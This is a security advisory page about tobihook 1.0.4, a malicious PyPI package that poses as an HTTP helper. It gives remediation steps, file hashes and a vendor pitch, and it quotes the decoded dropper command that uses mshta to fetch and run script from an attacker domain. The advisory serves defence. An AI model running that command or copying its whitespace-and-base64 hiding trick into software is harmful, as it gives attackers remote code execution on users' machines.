Which versions of tobihook are malicious?

The following PyPI versions of tobihook are flagged malicious: 1.0.4. Treat any of these as compromised.

How do I remediate tobihook if I installed it?

tobihook is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed tobihook — how do I know if it already compromised me?

If tobihook was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is tobihook part of a known attack campaign?

Yes — tobihook is associated with the IN-MAL-2026-006881, 2026-06-tobihook campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find tobihook across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for tobihook (version 1.0.4).

Malicious package

tobihookPyPI

Advisory published Jun 17, 2026Updated Jun 17, 2026

tobihook is a confirmed malicious PyPI package (MAL-2026-5995) that steals credentials and exfiltrates sensitive data (malicious version 1.0.4). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in tobihook (PyPI)

MAL-2026-5995

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

pip uninstall tobihook

What this malware does

The package masquerades as an HTTP helper (functions named post/get/fetch, module comment '# request/init.py', and an unused requests dependency) but each of those functions base64-decodes the string 'cmd /c mshta https://quitlag.com' and launches it via subprocess.Popen with CREATE_NO_WINDOW on Windows. mshta.exe then fetches and executes attacker-controlled HTA/JavaScript from quitlag.com on the caller's machine with no visible window. The malicious code is concealed in tobihook/post.py behind roughly 400 lines of leading whitespace and base64 obfuscation, and the dropper is reachable from the package's documented top-level API (tobihook/init.py re-exports post). Any developer who installs tobihook and calls its advertised post()/get()/fetch() triggers remote code execution on a Windows host.

Code contains lightly obfuscated commands executing remote scripts using mshta utility. The code does not contain any different functionality and the target URL is already flagged as potentially dangerous.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-tobihook

Reasons (based on the campaign):

Downloads and executes a remote malicious script.
tool:mshta
obfuscation

Malicious versions

1 flagged

1.0.4

Indicators of compromise (SHA-256)

2c093ec7049ebbe26ca860033bc1fd81ad98f4f586b66fc68170e1ff81ae90bb

052494dbc6267dbb289d7f0459188ecce627e3c3eb1d7a8892795003ff8bff53

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for tobihook (version 1.0.4).
If you installed it — respond
tobihook is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If tobihook was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. tobihook on PyPI has been identified as a malicious package (version 1.0.4 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-0068812026-06-tobihook

References

Credits

Amazon Inspector · finder
Kamil Mańkowski (kam193) · analyst

Detect & block this

O3 blocks tobihook-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database